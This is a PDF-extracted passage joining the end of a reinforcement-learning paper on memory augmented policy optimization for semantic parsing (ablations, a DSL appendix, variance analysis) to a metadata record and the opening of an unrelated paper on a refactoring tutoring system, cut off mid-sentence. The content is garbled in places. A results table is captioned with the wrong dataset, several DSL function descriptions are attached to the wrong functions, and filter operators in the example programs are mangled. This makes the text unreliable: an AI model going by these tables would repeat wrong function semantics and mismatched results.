objectives can be found in [17, 56, 48]. - **Hard EM**: Expectation-Maximization algorithm is commonly used to optimize the marginal likelihood in the presence of latent variables. Hard EM uses the samples with the highest probability to approximate the gradient to $\mathcal{O}_{MML}$. - **IML**: Iterative Maximum Likelihood training \cite{26} uniformly maximizes the likelihood of all the trajectories with the highest rewards $\mathcal{O}_{MML}(\theta) = \sum_{a \in B} \log \pi_\theta(a)$. Because the memory buffer is too large to enumerate, we use samples from the buffer to approximate the gradient for MML and IML, and uses samples with highest $\pi_\theta(a)$ for Hard EM. We show the result in Table 2 and the dev accuracy curves in Figure 2. Removing systematic exploration or the memory weight clipping significantly weaken MAPO because high-reward trajectories are not found or easily forgotten. REINFORCE barely learns anything because starting from a random policy, most samples result in a reward of zero. MML and Hard EM converge faster, but the learned models underperform MAPO, which suggests that the expected return is a better objective. IML runs faster because it randomly samples from the buffer, but the objective is prone to spurious programs. ### 5.3 Comparison to state-of-the-art On WikiTableQuestions (Table 3), MAPO is the first RL-based approach that significantly outperforms the previous state-of-the-art by 2.6%. Unlike previous work, MAPO does not require manual feature engineering or additional human annotations. On WikiSQL (Table 4), even though MAPO does not exploit ground truth programs (weak supervision), it is able to outperform many strong baselines trained using programs (full supervision). The techniques introduced in other models can be incorporated to further improve the result of MAPO, but we leave that as future work. We also qualitatively analyzed a trained model and see that it can generate fairly complex programs. See the Supplementary Material for some examples of generated programs. ### 5.4 Analysis of Memory Weight Clipping In this subsection, we present an analysis of the bias introduced by memory weight clipping. We define the clipping fraction as the percentage of examples where the clipping is active. In other words, it is the percentage of examples with a non-empty memory buffer, for which $\pi_B < \alpha$. It is also the fraction of examples whose gradient computation will be biased by the clipping, so the higher the value, the more bias, and the gradient is unbiased when the clip fraction is zero. In figure 3, one can observe that the clipping fraction approaches zero towards the end of training and is negatively correlated with the training accuracy. In the experiments, we found that a fixed clipping threshold works well, but we can also gradually decrease the clipping threshold to completely remove the bias. Table 2: Ablation study for Systematic Exploration (SE) and Memory Weight Clipping (MWC). ```plaintext <table> <thead> <tr> <th></th> <th>WikiTable</th> <th>WikiSQL</th> </tr> </thead> <tbody> <tr> <td>REINFORCE</td> <td>&lt; 10</td> <td>&lt; 10</td> </tr> <tr> <td>MML (Soft EM)</td> <td>39.7 ± 0.3</td> <td>70.7 ± 0.1</td> </tr> <tr> <td>Hard EM</td> <td>39.3 ± 0.6</td> <td>70.2 ± 0.3</td> </tr> <tr> <td>IML</td> <td>36.8 ± 0.5</td> <td>70.1 ± 0.2</td> </tr> <tr> <td>MAPO</td> <td>42.3 ± 0.3</td> <td>72.2 ± 0.2</td> </tr> <tr> <td>MAPO w/o SE</td> <td>&lt; 10</td> <td>&lt; 10</td> </tr> <tr> <td>MAPO w/o MWC</td> <td>&lt; 10</td> <td>&lt; 10</td> </tr> </tbody> </table> ``` Table 3: Results on WikiTableQuestions. E.S. is the ensemble size, when applicable. ```plaintext <table> <thead> <tr> <th></th> <th>Dev</th> <th>Test</th> </tr> </thead> <tbody> <tr> <td>Zhong et al.</td> <td>66</td> <td>70.6</td> </tr> <tr> <td>Wang et al.</td> <td>66</td> <td>66.8</td> </tr> <tr> <td>Xu et al.</td> <td>66</td> <td>68.0</td> </tr> <tr> <td>Huang et al.</td> <td>63</td> <td>73.5</td> </tr> <tr> <td>Sun et al.</td> <td>54</td> <td>74.6</td> </tr> <tr> <td>Dong &amp; Lapata</td> <td>79</td> <td>78.5</td> </tr> </tbody> </table> ``` Table 4: Results on WikiSQL. Unlike other methods, MAPO only uses weak supervision. \footnotemark \footnotetext{Krishnamurthy et al. \cite{24} achieved 45.9 accuracy when trained on the data collected with dynamic programming and pruned with more human annotations \cite{41} \cite{32}.} 6 Related work Program synthesis & semantic parsing. There has been a surge of recent interest in applying reinforcement learning to program synthesis \[10, 2, 64, 33\] and combinatorial optimization \[70, 7\]. Different from these efforts, we focus on the contextualized program synthesis where generalization to new contexts is important. Semantic parsing \[65, 66, 27\] maps natural language to executable symbolic representations. Training semantic parsers through weak supervision is challenging because the model must interact with a symbolic interpreter through non-differentiable operations to search over a large space of programs \[8, 26\]. Previous work \[17, 34\] reports negative results when applying simple policy gradient methods like REINFORCE \[58\], which highlights the difficulty of exploration and optimization when applying RL techniques. MAPO takes advantage of discrete and deterministic nature of program synthesis and significantly improves upon REINFORCE. Experience replay. An experience replay buffer \[28\] enables storage and usage of past experiences to improve the sample efficiency of RL algorithms. Prioritized experience replay \[49\] prioritizes replays based on temporal-difference error for more efficient optimization. Hindsight experience replay \[4\] incorporates goals into replays to deal with sparse rewards. MAPO also uses past experiences to tackle sparse reward problems, but by storing and reusing high-reward trajectories, similar to \[26, 38\]. Previous work \[26\] assigns a fixed weight to the trajectories, which introduces bias into the policy gradient estimates. More importantly, the policy is often trained equally on the trajectories that have the same reward, which is prone to spurious programs. By contrast, MAPO uses the trajectories in a principled way to obtain an unbiased low variance gradient estimate. Variance reduction. Policy optimization via gradient descent is challenging because of: (1) large variance in gradient estimates; (2) small gradients in the initial phase of training. Prior variance reduction approaches \[59, 58, 29, 16\] mainly relied on control variate techniques by introducing a critic model \[23, 31, 51\]. MAPO takes a different approach to reformulate the gradient as a combination of expectations inside and outside a memory buffer. Standard solutions to the small gradient problem involves supervised pretraining \[52, 19, 46\] or using supervised data to generate rewarding samples \[36, 13\], which cannot be applied when supervised data are not available. MAPO reduces the variance by sampling from a smaller stochastic space or through stratified sampling, and accelerates and stabilizes training by clipping the weight of the memory buffer. Exploration. Recently there has been a lot of work on improving exploration \[42, 55, 21\] by introducing additional reward based on information gain or pseudo count. For program synthesis \[5, 84, 10\], the search spaces are enumerable and deterministic. Therefore, we propose to conduct systematic exploration, which ensures that only novel trajectories are generated. 7 Conclusion We present memory augmented policy optimization (MAPO) that incorporates a memory buffer of promising trajectories to reduce the variance of policy gradients. We propose 3 techniques to enable an efficient algorithm for MAPO: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration to efficiently discover high-reward trajectories; (3) distributed sampling from inside and outside memory buffer to scale up training. MAPO is evaluated on real world program synthesis from natural language / semantic parsing tasks. On WikiTableQuestions, MAPO is the first RL approach that significantly outperforms previous state-of-the-art; on WikiSQL, MAPO trained with only weak supervision outperforms several strong baselines trained with full supervision. Acknowledgments We would like to thank Dan Abolafia, Ankur Taly, Thanapon Noraset, Arvind Neelakantan, Wenyun Zuo, Chenchen Pan and Mia Liang for helpful discussions. Jonathan Berant was partially supported by The Israel Science Foundation grant 942/16. References A Domain Specific Language We adopt a Lisp-like domain specific language with certain built-in functions. A program $C$ is a list of expressions $(c_1, \ldots, c_N)$, where each expression is either a special token "EOS" indicating the end of the program, or a list of tokens enclosed by parentheses "$(F.A_1\ldots A_K)$". $F$ is a function, which takes as input $K$ arguments of specific types. Table A defines the arguments, return value and semantics of each function. In the table domain, there are rows and columns. The value of the table cells can be number, date time or string, so we also categorize the columns into number columns, date time columns and string columns depending on the type of the cell values in the column. <table> <thead> <tr> <th>Function</th> <th>Arguments</th> <th>Returns</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>(hop v p)</td> <td>v: a list of rows. p: a column.</td> <td>a list of cells.</td> <td>Select the given column of the given rows.</td> </tr> <tr> <td>(argmax v p)</td> <td>v: a list of rows. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones with the largest / smallest value in the given column.</td> </tr> <tr> <td>(argmin v p)</td> <td>v: a list of rows. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column has certain order relation with the given value.</td> </tr> <tr> <td>(filter_{≥} v q p)</td> <td>v: a list of rows. q: a number or date. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column contain / do not contain the given string.</td> </tr> <tr> <td>(filter_{≤} v q p)</td> <td>v: a list of rows. q: a number or date. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column contain / do not contain the given string.</td> </tr> <tr> <td>(filter_{=} v q p)</td> <td>v: a list of rows. q: a number or date. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column contain / do not contain the given string.</td> </tr> <tr> <td>(filter_{in} v q p)</td> <td>v: a list of rows. q: a number or date. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column contain / do not contain the given string.</td> </tr> <tr> <td>(first v)</td> <td>v: a list of rows.</td> <td>a row.</td> <td>From the given rows, select the one with the smallest / largest index.</td> </tr> <tr> <td>(last v)</td> <td>v: a list of rows.</td> <td>a row.</td> <td>From the given rows, select the one with the smallest / largest index.</td> </tr> <tr> <td>(previous v)</td> <td>v: a row.</td> <td>a row.</td> <td>Select the row that is above / below the given row.</td> </tr> <tr> <td>(next v)</td> <td>v: a row.</td> <td>a row.</td> <td>Select the row that is above / below the given row.</td> </tr> <tr> <td>(count v)</td> <td>v: a list of rows.</td> <td>a number.</td> <td>Count the number of given rows.</td> </tr> <tr> <td>(max v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(min v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(average v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(sum v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(mode v p)</td> <td>v: a list of rows. p: a column.</td> <td>a cell.</td> <td>Get the most common value of the given column in the given rows.</td> </tr> <tr> <td>(same_as v p)</td> <td>v: a row. p: a column.</td> <td>a list of rows.</td> <td>Get the rows whose given column is the same as the given row.</td> </tr> <tr> <td>(diff v0 v1 p)</td> <td>v0: a row. v1: a row. p: a number column.</td> <td>a number.</td> <td>Compute the difference in the given column of the given two rows.</td> </tr> </tbody> </table> Table 5: Functions used in the experiments. In the WIKITABLEQUESTIONS experiments, we used all the functions in the table. In the WIKISQL experiments, because the semantics of the questions are simpler, we used a subset of the functions (hop, filter_{≥}, filter_{≤}, filter_{=}, count, maximum, minimum, average and sum). We created the functions according to [67, 34]. 2 The only function we have added to capture some complex semantics is the same_as function, but it only appears in 1.2% of the generated programs (among which 0.6% are correct and the other 0.6% are incorrect), so even if we remove it, the significance of the difference in Table 3 will not change. B Examples of Generated Programs The following table shows examples of several types of programs generated by a trained model. <table> <thead> <tr> <th>Statement</th> <th>Comment</th> </tr> </thead> <tbody> <tr> <td><strong>Superlative</strong></td> <td></td> </tr> <tr> <td><strong>nt-13901: the most points were scored by which player?</strong></td> <td>(argmax all_rows r.points-num) Sort all rows by column ‘points’ and take the first row.</td> </tr> <tr> <td></td> <td>(hop v0 r.player-str) Output the value of column ‘player’ for the rows in v0.</td> </tr> <tr> <td><strong>Difference</strong></td> <td></td> </tr> <tr> <td><strong>nt-457: how many more passengers flew to los angeles than to saskatoon?</strong></td> <td>(filter [ in ] all_rows ['saskatoon' ] r.city-str) Find the row with ‘saskatoon’ matched in column ‘city’.</td> </tr> <tr> <td></td> <td>(filter [ in ] all_rows ['los angeles' ] r.city-str) Find the row with ‘los angeles’ matched in column ‘city’.</td> </tr> <tr> <td></td> <td>(diff v1 v0 r.passengers-num) Calculate the difference of the values in the column ‘passenger’ of v0 and v1.</td> </tr> <tr> <td><strong>Before / After</strong></td> <td></td> </tr> <tr> <td><strong>nt-10832: which nation is before peru?</strong></td> <td>(filter [ in ] all_rows ['peru' ] r.nation-str) Find the row with ‘peru’ matched in ‘nation’ column.</td> </tr> <tr> <td></td> <td>(previous v0) Find the row before v0.</td> </tr> <tr> <td></td> <td>(hop v1 r.nation-str) Output the value of column ‘nation’ of v1.</td> </tr> <tr> <td><strong>Compare &amp; Count</strong></td> <td></td> </tr> <tr> <td><strong>nt-647: in how many games did sri lanka score at least 2 goals?</strong></td> <td>(filter [ in ] all_rows [2] r.score-num) Select the rows whose value in the ‘score’ column &gt;= 2.</td> </tr> <tr> <td></td> <td>(count v0) Count the number of rows in v0.</td> </tr> <tr> <td><strong>Exclusion</strong></td> <td></td> </tr> <tr> <td><strong>nt-1133: other than william stuart price, which other businessman was born in tulsa?</strong></td> <td>(filter [ in ] all_rows ['tulsa' ] r.hometown-str) Find rows with ‘tulsa’ matched in column ‘hometown’.</td> </tr> <tr> <td></td> <td>(filter [ in ] v0 ['william stuart price' ] r.name-str) Drop rows with ‘william stuart price’ matched in the value of column ‘name’.</td> </tr> <tr> <td></td> <td>(hop v1 r.name-str) Output the value of column ‘name’ of v1.</td> </tr> </tbody> </table> Table 6: Example programs generated by a trained model. C Analysis of Sampling from Inside and Outside Memory Buffer In the following we give theoretical analysis of the distributed sampling approaches. For the purpose of the analysis we assume binary rewards, and exhaustive exploration, that the buffer \( B^+ = B \) contains all the high reward samples, and \( B^- = A - B_0 \) contains all the non-rewarded samples. It provides a general guidance of how examples should be allocated on the experiences and whether to use baseline or not so that the variance of gradient estimations can be minimized. In our work, we take the simpler approach to not use baseline and leave the empirical investigation to future work. C.1 Variance: baseline vs no baseline Here we compare baseline strategies based on their variances of gradient estimations. We thank Wenyun Zuo’s suggestion in approximating the variances. Assume \( \sigma_+^2 = Var_{\pi \sim \pi_+^\theta}[\nabla \log \pi(a)] \) and \( \sigma_-^2 = Var_{\pi \sim \pi_-^\theta}[\nabla \log \pi(a)] \) are the variance of the gradient of the log likelihood inside and outside the buffer. If we don’t use a baseline, the optimal sampling strategy is to only sample from \( B \). The variance of the gradient estimation is \[ \text{Var}[\nabla O_{ER}] \approx \pi_\theta(B)^2 \sigma_+^2 \] (9) If we use a baseline \( b = \pi_\theta(B) \) and apply the optimal sampling allocation (Section C.2), then the variance of the gradient estimation is \[ \text{Var}[\nabla O_{ER}]_b \approx \pi_\theta(B)^2 (1 - \pi_\theta(B))^2 (\sigma_-^2 + \sigma_+^2) \tag{10} \] We can prove that both of these estimators reduce the variance for the gradient estimation. To compare the two, we can see that the ratio of the variance with and without baseline is \[ \frac{\text{Var}[\nabla O_{ER}]_b}{\text{Var}[\nabla O_{ER}]} = \left(1 + \frac{\sigma_-^2}{\sigma_+^2}\right) (1 - \pi_\theta(B))^2 \tag{11} \] So using baseline provides lower variance when \( \pi_\theta(B) \approx 1.0 \), which roughly corresponds to the later stage of training, and when \( \sigma_- \) is not much larger than \( \sigma_+ \); it is better to not use baselines when \( \pi_\theta(B) \) is not close to 1.0 or when \( \sigma_- \) is much larger than \( \sigma_+ \). ### C.2 Optimal Sample Allocation Given that we want to apply stratified sampling to estimate the gradient of REINFORCE with baseline \( b \), here we show that the optimal sampling strategy is to allocate the same number of samples to \( B \) and \( A \setminus B \). Assume that the gradient of log likelihood has similar variance on \( B \) and \( A \setminus B \): \[ \text{Var}_{\pi_\theta}(a)[\nabla \log \pi_\theta(a)] \approx \text{Var}_{\pi_\theta}(a)[\nabla \log \pi_\theta(a)] = \sigma^2 \tag{12} \] The variance of gradient estimation on \( B \) and \( A \setminus B \) are: \[ \text{Var}_{\pi_\theta}(a)[(1 - \pi_\theta(B)) \nabla \log \pi_\theta(a)] = (1 - \pi_\theta(B))^2 * \sigma^2 \] \[ \text{Var}_{\pi_\theta}(a)[(-\pi_\theta(B)) \nabla \log \pi_\theta(a)] = \pi_\theta(B)^2 * \sigma^2 \tag{13} \] When performing stratified sampling, the optimal sample allocation is to let the number of samples from a stratum be proportional to its probability mass times the standard deviation \( P_i \sigma_i \). In other words, the more probability mass and the more variance a stratum has, the more samples we should draw from a stratum. So the ratio of the number of samples allocated to each stratum under the optimal sample allocation is \[ \frac{k^+}{k^-} = \frac{\pi_\theta(B) \sqrt{\text{Var}_{\pi_\theta}(a)}}{1 - \pi_\theta(B) \sqrt{\text{Var}_{\pi_\theta}(a)}} \tag{14} \] Using equation\[13\] we can see that \[ \frac{k^+}{k^-} = 1 \tag{15} \] So the optimal strategy is to allocate the same number of samples to \( B \) and \( A \setminus B \). ### D Distributed Actor-Learner Architecture Using 30 CPUs, each running one actor, and 2 GPUs, one for training and one for evaluating on dev set, the experiment finishes in about 3 hours on WikiTableQuestions and about 7 hours on WikiSQL. E Pruning Rules for Random Exploration on WikiTableQuestions The pruning rules are inspired by the grammar [67]. It can be seen as trigger words or POS tags for a subset of the functions. For the functions included, they are only allowed when at least one of the trigger words / tags appears in the sentence. For the other functions that are not included, there isn’t any constraints. Also note that these rules are only used during random exploration. During training and evaluation, the rules are not applied. <table> <thead> <tr> <th>Function</th> <th>Triggers</th> </tr> </thead> <tbody> <tr> <td>count</td> <td>how, many, total, number</td> </tr> <tr> <td>filter\textsubscript{\textgreater}</td> <td>not, other, besides</td> </tr> <tr> <td>first</td> <td>first, top</td> </tr> <tr> <td>last</td> <td>last, bottom</td> </tr> <tr> <td>argmin</td> <td>JJR, JJS, RBR, RBS, top, first, bottom, last</td> </tr> <tr> <td>argmax</td> <td>JJR, JJS, RBR, RBS, top, first, bottom, last</td> </tr> <tr> <td>sum</td> <td>all, combine, total</td> </tr> <tr> <td>average</td> <td>average</td> </tr> <tr> <td>maximum</td> <td>JJR, JJS, RBR, RBS</td> </tr> <tr> <td>minimum</td> <td>JJR, JJS, RBR, RBS</td> </tr> <tr> <td>mode</td> <td>most</td> </tr> <tr> <td>previous</td> <td>next, previous, after, before, above, below</td> </tr> <tr> <td>next</td> <td>next, previous, after, before, above, below</td> </tr> <tr> <td>same</td> <td>same</td> </tr> <tr> <td>diff</td> <td>difference, more, than</td> </tr> <tr> <td>filter\textsubscript{\textless}</td> <td>RBR, JJR, more, than, least, above, after</td> </tr> <tr> <td>filter\textless</td> <td>RBR, JJR, less, than, most, below, before, under</td> </tr> <tr> <td>filter\textgreater</td> <td>RBR, JJR, more, than, least, above, after</td> </tr> <tr> <td>filter\textgreater</td> <td>RBR, JJR, less, than, most, below, before, under</td> </tr> </tbody> </table> Table 7: Pruning rules used during random exploration on WikiTableQuestions.
{"Source-Url": "https://export.arxiv.org/pdf/1807.02322", "len_cl100k_base": 13261, "olmocr-version": "0.1.49", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 60192, "total-output-tokens": 17906, "length": "2e13", "weborganizer": {"__label__adult": 0.0004911422729492188, "__label__art_design": 0.000789642333984375, "__label__crime_law": 0.0004901885986328125, "__label__education_jobs": 0.0016574859619140625, "__label__entertainment": 0.0002205371856689453, "__label__fashion_beauty": 0.0002720355987548828, "__label__finance_business": 0.0004014968872070313, "__label__food_dining": 0.0004513263702392578, "__label__games": 0.0013818740844726562, "__label__hardware": 0.001277923583984375, "__label__health": 0.0007309913635253906, "__label__history": 0.0004787445068359375, "__label__home_hobbies": 0.00018775463104248047, "__label__industrial": 0.0006146430969238281, "__label__literature": 0.0006771087646484375, "__label__politics": 0.0003998279571533203, "__label__religion": 0.0006122589111328125, "__label__science_tech": 0.17333984375, "__label__social_life": 0.00015616416931152344, "__label__software": 0.01226806640625, "__label__software_dev": 0.8017578125, "__label__sports_fitness": 0.0004036426544189453, "__label__transportation": 0.0007014274597167969, "__label__travel": 0.0002570152282714844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 63598, 0.0311]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 63598, 0.31354]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 63598, 0.81022]], "google_gemma-3-12b-it_contains_pii": [[0, 3307, false], [3307, 8623, null], [8623, 13758, null], [13758, 15398, null], [15398, 20762, null], [20762, 25798, null], [25798, 29517, null], [29517, 33308, null], [33308, 37224, null], [37224, 41052, null], [41052, 45008, null], [45008, 48953, null], [48953, 50483, null], [50483, 54830, null], [54830, 59322, null], [59322, 62069, null], [62069, 63598, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3307, true], [3307, 8623, null], [8623, 13758, null], [13758, 15398, null], [15398, 20762, null], [20762, 25798, null], [25798, 29517, null], [29517, 33308, null], [33308, 37224, null], [37224, 41052, null], [41052, 45008, null], [45008, 48953, null], [48953, 50483, null], [50483, 54830, null], [54830, 59322, null], [59322, 62069, null], [62069, 63598, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 63598, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 63598, null]], "pdf_page_numbers": [[0, 3307, 1], [3307, 8623, 2], [8623, 13758, 3], [13758, 15398, 4], [15398, 20762, 5], [20762, 25798, 6], [25798, 29517, 7], [29517, 33308, 8], [33308, 37224, 9], [37224, 41052, 10], [41052, 45008, 11], [45008, 48953, 12], [48953, 50483, 13], [50483, 54830, 14], [54830, 59322, 15], [59322, 62069, 16], [62069, 63598, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 63598, 0.23056]]}
olmocr_science_pdfs
2024-11-25
2024-11-25
2571b5274215fc51d6960d7ddbe9edeee1e01d0f
An Interactive Tutoring System for Training Software Refactoring Thorsten Haendler, Gustaf Neumann and Fiodor Smirnov Institute for Information Systems and New Media, Vienna University of Economics and Business (WU), Austria {firstname.lastname}@wu.ac.at Abstract: Although considered useful and important, software refactoring is often neglected in practice because of the perceived risks and difficulties of performing it. A way to address these challenges can be seen in promoting developers’ practical competences. In this paper, we propose an approach for an interactive training environment for addressing practical competences in software refactoring. In particular, we present a tutoring system that provides interactive feedback to the users (e.g., university students or software developers) regarding the software-design quality and the functional correctness of the (modified) source code. After each code modification (refactoring step), the user can review the results of run-time regression tests and compare the actual software design (as-is) with the targeted design (to-be) in order to check quality improvement. For this purpose, structural and behavioral diagrams of the Unified Modeling Language (UML2) representing the as-is software design are automatically reverse-engineered from source code. The to-be design diagrams (also in UML) can be pre-specified by the instructor. We illustrate the usability of the approach for training competences in refactoring via short application scenarios and describe exemplary learning paths. Moreover, we provide a web-based software-technical implementation in Java (called refacTutor) to demonstrate the technical feasibility of the approach. Finally, limitations and further potential of the approach are discussed. 1 INTRODUCTION As a result of time pressure in software projects, priority is often given to implementing new features rather than ensuring code quality (Martini et al., 2014). In the long run, this leads to software aging (Parnas, 1994) and increased technical debt with the consequence of increased maintenance costs on the software system (i.e., debt interest) (Kruchten et al., 2012). A popular technique for code-quality assurance is software refactoring, which aims at improving code quality by restructuring the source code while preserving the external system behavior (Opdyke, 1992; Fowler et al., 1999). Several kinds of flaws (such as code smells) can negatively impact code quality and are thus candidates for software refactoring (Alves et al., 2016). Besides kinds of smells that are relatively simple to identify and to refactor (e.g., stylistic code smells), others are more complex and difficult to identify, to assess and to refactor, such as smells in software design and architecture (Fowler et al., 1999; Suryanarayana et al., 2014; Nord et al., 2012). Although refactoring is considered useful and important, it is often neglected in practice due to several barriers, among which are (perceived by software developers) the difficulty of performing refactoring, the risk of introducing an error into a previously correctly working software system, and a lack of adequate tool support (Tempero et al., 2017). These barriers pose challenges with regard to improving refactoring tools and promoting the skills of developers. On the one hand, in last years, several tools have been proposed that apply static analysis for identifying smells via certain metrics and benchmarks (e.g., level of coupling between system elements) or supporting in planning and performing the actual refactoring (steps), such as JDeodorant (Tsantalis et al., 2008) and DECOR (Moha et al., 2010), as well as for measuring and quantifying their impact in terms of technical debt, such as SonarQube (Campbell and Papapetrou, 2013) or JArchitect (CoderGears, 2018). However, for more complex kinds of smells (e.g., on the level of software design and architecture) the smell detection and refactoring is difficult. Thus, these tools only cover a modest amount of smells (Fernandes et al., 2016; Fontana et al., 2012) and tend to produce false positives (Fontana et al., 2016) (which, i.a., represent constructs intentionally used by the developer with symptoms similar to smells, such as certain design patterns). In addition, the decision what and how to refactor also depends on domain knowledge (e.g., regarding design rationale) provided by human experts such as software architects. Due to these issues, the refactoring process is still challenging and requires human expertise. On the other hand, so far only little attention has been paid in research to education and training in the field of software refactoring. Besides textbooks with best practices and rules on how to identify and to remove smells via refactoring, e.g., (Fowler et al., 1999), there are only a few approaches (see Section 4) for supporting developers in accomplishing or improving practical and higher-level competences such as application, analysis and evaluation according to Bloom’s taxonomy of cognitive learning objectives; see, e.g., (Bloom et al., 1956; Krathwohl, 2002). In this paper, we propose an approach for an interactive learning environment for training practical competences in software refactoring. In particular, we present a tutoring system that provides interactive feedback and decision-support regarding both the software-design quality and the functional correctness of the source code modified by the user (see Fig. 1). Driven by a refactoring task defined by the instructor, after each refactoring step, the user can review the results of run-time regression tests (e.g., pre-specified by the instructor; in order to check that no error has been introduced) and compare the actual software design (as-is) with the intended design (to-be; in order to check quality improvement). For this purpose, structural and behavioral software design diagrams of the Unified Modeling Language (UML2) (Object Management Group, 2015) representing the as-is software design are automatically reverse-engineered from source code. The to-be design diagrams (also in UML) can be pre-specified by the instructor. UML is the de-facto standard for modeling and documenting structural and behavioral aspects of software design. There is evidence that UML design diagrams are beneficial for understanding software design (issues) (Arisholm et al., 2006; Scanniello et al., 2018; Haendler, 2018). This way, the approach primarily addresses the refactoring of issues on the level of software design and architecture. Moreover, the code visualization supports in building and questioning users’ mental models, see, e.g., (Cañas et al., 1994; George, 2000). In addition, the system optionally reports on other quality aspects provided by quality-analysis tools (Campbell and Papetrou, 2013). In order to illustrate the usability for teaching and training refactoring competences, we describe exemplary learning paths, specify the corresponding exercise-interaction workflow and draw exemplary application scenarios (based on different learning objectives and tasks and with corresponding settings (configuration options) for decision support and feedback). We also introduce a proof-of-concept implementation in Java (called refacTutor) in terms of an interactive tutoring system for training software refactoring. Its application is demonstrated via a short exercise example. In the following Section 2, a short conceptual overview of the proposed approach is given. 2 CONCEPTUAL OVERVIEW Fig. 2 depicts an overview of the tutoring-system infrastructure in terms of technical components and artifacts used, created or modified by instructor and/or user respectively. --- 1 See Section 5. The software prototype is available for download from http://refactoringgames.com/refactutor Focused on certain learning objectives (for details, also see Sections 3 and 4), the instructor at first specifies a task, prepares the initial source code for exercise, specifies (or re-uses an existing) test script, and specifies the to-be software design (see step 1 in Fig. 3). The user’s exercise then starts by analyzing the task (step 2). After each code modification (step 3), the user can review several kinds of feedback created by different analysis tools that analyze the code (see steps 4 to 6). These analyzers consist of a test framework for checking the functional correctness (test result), a quality analyzer that examines the code using pre-configured quality metrics (for providing hints on quality issues), and a diagram builder that derives (reverse-engineers) diagrams from source code and reflects the current as-is software design. This way, the tutoring system supports a cyclic exercise workflow of steps 2 to 6. Structure The remainder of this paper is structured as follows. In Section 3, the applied conceptual framework of the interactive tutoring system (including competences and learning paths, exercises, code modification as well as feedback mechanisms) are elaborated in detail. Section 4 illustrates the usability of the training environment for two exercise scenarios (i.e., design refactoring and test-driven development). Then, in Section 5, we present a proof-of-concept implementation in Java; including a detailed exercise example. In Section 6, related approaches are discussed. Section 7 reflects limitations and further potential of the approach and Section 8 concludes the paper. 3 INTERACTIVE TUTORING ENVIRONMENT Fig. 3 gives an overview of important conceptual aspects for training software refactoring. The model is structured into four layers that concretize from an exemplary learning and training path (A) (built on exemplary environments) via the exercises performed by the user (B) to refactoring paths and system states (C) and finally views on system states (D) (feedback and decision support). The corresponding aspects are described below in detail. 3.1 Learning Objectives and Paths The learning activity sequence (IMS Global Consortium, 2005) (depicted on the top layer A) in Fig. 3 illustrates an exemplary learning path for software refactoring by sequence multiple exercise units, which base on different learning environments. The path can be driven by certain learning objectives, e.g., oriented to Bloom’s taxonomy of cognitive learning objectives (Krathwohl, 2002). For instance, via lecture based on best practices and rules provided by a refactoring textbook, e.g., (Suryanarayana et al., 2014), basic competences (i.e., knowledge and comprehension) may be addressed, e.g., the (theoretical) understanding of rules for identifying refactoring candidates and for performing refactoring steps. For applying the comprehended techniques, e.g., units with paper-based exercises (PBE) can follow. In order to actually apply and improve practical competences on executable code (via editor), a tutoring system then can be used (see below). Moreover, via playing serious games (providing or simulating real-world conditions, such as a large code base) (Haendler and Neumann, 2019), further higher-level competences can be acquired such as analysis and evaluation (e.g., while developing and applying refactoring strategies for prioritizing smell candidates and refactoring options). This exemplary path along different training environments demonstrates that the proposed tutoring-system approach has to be seen as a complement to other approaches, each focusing on certain competence levels. 3.2 Structure of Exercises A unit might generally consist of several exercises. Each exercise of the proposed tutoring system (see the second layer B in Fig. 3) has a certain sequence consisting of the task (instruction) defined by the instructor, the exercise interaction of the user with the tutoring system and the exercise assessment, which will be explained in detail below. Task The task defines the actual instructions to be performed by the user. The instructions might be oriented to e.g. a challenge to be solved (e.g., to remove a certain smell), a goal to be achieved (e.g., to realize a certain design structure), or instructions for concrete modification actions (e.g., to perform an EXTRACT-METHOD refactoring). For examples with further details, also see Section 4. Interaction The exercise interaction represents a cycle of analysis and actions performed by the user which is built on feedback provided by the tutoring system. Fig. 4 represents the workflow of the exercise interaction in terms of a double-loop learning and decision-making cycle supported by the tutoring system. ![Diagram of exercise interaction](image) Figure 4: Refactoring-exercise workflow as double-loop learning and decision-making cycle supported by the tutoring system. Assessment The exercise assessment provides means for assessing the outcome of the 